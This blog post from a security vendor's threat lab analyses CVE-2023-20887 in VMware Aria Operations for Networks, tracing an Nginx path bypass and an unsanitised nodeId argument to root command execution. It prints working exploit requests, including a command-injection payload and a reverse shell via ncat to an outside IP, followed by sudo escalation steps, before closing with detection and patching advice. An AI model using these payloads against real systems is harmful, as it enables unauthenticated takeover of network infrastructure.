VMware Aria Operations for Networks is a network monitoring and management tool used to build and manage an optimized, secure network infrastructure.
A command injection vulnerability has been recently reported in VMware Aria Operations for Networks (herein referred to as Aria Operations) impacting versions 6.2 through 6.10. A loophole in server configuration, along with improper input handling led to this issue. As a result, an unauthenticated user or malicious threat actor with access to Aria Operations can exploit the vulnerability to achieve remote code execution with root (i.e., administrative) user privileges.
It has been assigned CVE-2023-20887 with a CVSS 3.1 score of 9.8, making it highly exploitable. More details on this CVE can be found on the National Vulnerability Database.
In our lab here at Juniper, we ran Aria Operations version 6.9.0. Let’s take a closer look at how CVE-2023-20887 can be exploited.
Technical Details
Implemented in Java, Aria Operations provides end-to-end network visibility over multi-cloud deployments. Cloud network administrators use it to monitor necessary network management actions. All of Aria Operation’s network management functions are accessible via its web-based user interface on port 443. It makes use of Nginx, which is a web server that can also be used as a reverse proxy to configure forwarding rules for various endpoints. It also makes use of Apache Thrift framework to define RPC interfaces for implementing the functionality of these endpoints.
In vulnerable versions of Aria Operations, there is a misconfiguration in rules defined in Nginx that allows unauthorized access. Additionally, one of the API functions accepts user input without sanitizing it and executes it with sudo (i.e., administrative) privileges. Chaining the two issues, an attacker can send specially-crafted requests to achieve remote code execution.
Locating the vulnerability
The attack includes exploitation of two shortcomings: a misconfiguration in Nginx and a command injection vulnerability due to improper validation of user input. Let us look at both in detail.
1. Nginx misconfiguration
Aria Operations uses Nginx to configure reverse proxy to Apache Thrift RPC server. Analyzing the Nginx configuration at /etc/nginx/sites-enabled, we can see access to /saasresttosaasservlet is restricted. That is, the Nginx reverse proxy only accepts network traffic from localhost and then redirects that traffic to a service running on local port 9090.
However, we might be able to circumvent this. That is, in part, because of what we see in Figure 2 below. Figure 2 shows that Nginx accepts any request to a location prepended with /saas, rewrites it and then redirects it to the same local port 9090.
This would mean that a request from an attacker to /saas./resttosaasservlet, will be rewritten and allowed access to /./resttosaasservlet at local port 9090.
But before we try that, let’s confirm that we cannot directly get access to /saasresttosaasservlet from an IP other than localhost. Figure 3 below shows that when we try to access this resource directly, we receive the expected 403 Forbidden error message.
That was expected.
But this time, and again from an IP other than localhost, let’s modify the request to /saas./resttosaasservlet. Figure 4 below shows, importantly, that access is allowed. This time it fails with 500 Internal Server Error as the corresponding servlet was not able to handle it. But we aren’t stuck just yet!
2. Improper user input validation
From the nginx configuration we discussed in the previous section; we know that the request to /saas./resttosaasservlet gets redirected to the local port 9090. So, let us check what service is running on local port 9090.
As we can see above in Figure 5, a java process, with process id 8480 is listening on local port 9090 for any incoming connections.
Using ps command, we show the process details in Figure 6 below. We can see that the process in question is saasservice-0.001- SNAPSHOT.jar executed from location /home/ubuntu/build-target/saasservice/.
Decompiling saasservice-0.001-SNAPSHOT.jar, we can see in Figure 7 below that the API endpoint for /resttosaasservlet is handled by servlet rest-saas via function ManagementEndpointServlet().
In the definition of ManagementEndpointServlet() as shown below in Figure 8, RestToSaasCommunication.Processor() is being invoked. This is defined in RestToSaasCommunication class.
The RestToSaasCommunication class has multiple functions. In Figure 9 below, we can see how each process is being mapped to functions supported by the class RestToSaasCommunication. Among these, we can explore the inner workings of createSupportBundle().
In the definition of createSupportBundle(), we see in Figure 10 below that it takes four arguments customerId, nodeId, requestId and evictionRequestIds.
Among the four arguments passed from the user, we can see that the value of the argument nodeId is passed to evictPublishedSupportBundles().
The evictPublishedSupportBundles() does not sanitize the argument before passing it to a shell script. By passing a specially crafted payload as a value to the argument nodeId, arbitrary commands can be executed in the shell with sudo(i.e., administrative) privileges.
Exploitation and Remote Code Execution
As a reminder, Juniper Threat Labs is running vulnerable version 6.9.0 of Aria Operations in our lab.
The Create Support Bundle request can be invoked by clicking on the button as seen below.
As one can see from Wireshark (see Figure 14 below), this will invoke the API to /resttosaasservlet using the createSupportBundle request.
A tar bundle gets created.
We can see that the following is the format of createSupportBundle request:
[1,”createSupportBundle”,1,0,{“1”:{“str”:”<string>”},”2″:{“str”:”<string>”},”3″:{“str”:”<string>”},”4″:{“lst”:<list>}}]
Ok. Let’s put what we have learned all together. Using the creatSupportBundle request format as reference, along with the misconfiguration and command injection we analyzed in previous section, let’s try to create a file hacked.txt in /tmp directory. To do this, we can send the following request to /saas./resttosaasservlet. Afterwards, we’ll observe what transpires in Figure 16:
[1,”createSupportBundle”,1,0,{“1”:{“str”:”1111″},”2″:{“str”:”`touch /tmp/hacked.txt`”},”3″:{“str”:”value3″},”4″:{“lst”:[“str”,2,”Random “,”Random”]}}]
The response is 200 OK. Now, we’ll confirm that this file has indeed been created in the /tmp directory.
Creation of this file confirms remote code execution and our ability to exploit the vulnerability.
Obtaining Reverse Shell
Let us take it a step further.
1. Using netcat, let us start listening at port 3333 on our local machine.
2. Using payload ncat 192.168.1.49 3333 -e /bin/sh and sending the following request.
[1,”createSupportBundle”,1,0,{“1”:{“str”:”1111″:{“str”:”`ncat 192.168.1.49 3333 –e /bin/sh`”},”3″:{“str”:”value3″},”4″:{“lst”:[“str”,2,”AAAA”,”BBBB”]}}]
3. We achieve reverse shell on port 3333 in our attacker machine with the ubuntu user who is part of the sudo (i.e., administrator) group.
With sudo -l command, we can see that the ubuntu user has no restrictions and can perform all actions that can be performed via root. We can then use sudo -i and get root access.
Remediation and Conclusion
Juniper Networks’ SRX Series Next-Generation Firewall (NGFW) customers with an IDP license are protected against this vulnerability using the below signature:
HTTP:CTS:VMWARE-ARIA-RCE
which is released as part of IDP sigpack #3608. At the same time, Juniper recommends that all customers running vulnerable versions of VMware Aria Operations for Networks to update to the latest stable version of Aria Operations as per the advisory released by VMware.
Special thanks to Lakshmi Siva Sankar for co-authoring the blog, carrying out the complete technical analysis and demonstrating the proof-of-concept.
